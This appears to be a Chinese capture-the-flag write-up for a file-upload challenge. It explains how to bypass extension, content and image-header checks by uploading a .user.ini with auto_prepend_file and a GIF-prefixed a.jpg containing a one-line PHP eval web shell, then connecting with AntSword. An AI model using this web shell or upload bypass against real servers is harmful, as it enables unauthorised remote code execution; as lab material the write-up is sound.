天命：好像也不太easy
目录
步骤一：准备文件
步骤二：上传文件
本条题目有好几个防御点：
- 后缀名防御：只能上传图片格式
- 内容防御：内容不能有php
- 图片头防御：检测文件的头部信息，是否是图片头
首先判断只能上传图片格式的话，
那只能通过其他漏洞来把图片解析成php才能构成漏洞了
看了一下别人wp，原来是利用php的配置文件来实现漏洞攻击
php的 user.ini 配置文件里，有一个参数是在文件运行前把某个文件包含进来的
auto_prepend_file=文件名我们只需要做一个局部配置文件，即可触发效果
然后上传图片，把图片包含进来即可
就相当于触发了文件包含漏洞
步骤一：准备文件
准备 .user.ini 文件，这里的GIF89a是用来绕过防御三（看上面）
GIF89a
auto_prepend_file=a.jpg准备 a.jpg 文件，这里取消php
采用了短标签写法，php7.0之后弃用，7.4好像就取消了，所以这题应该是php5
GIF89a
<?=@eval($_POST['pass']);?>步骤二：上传文件
先上传 .user.ini ，记得改成图片类型
再上传 a.jpg ，正常上传就行
然后查看一下流量去哪里了
说实话这里我也没看懂，只知道 .user.ini文件会应该 php 文件来包含 a.jpg
所以我们的木马应该是在这个 index.php 文件里连接
中国蚁剑getshell完事
flag在最外面的地方
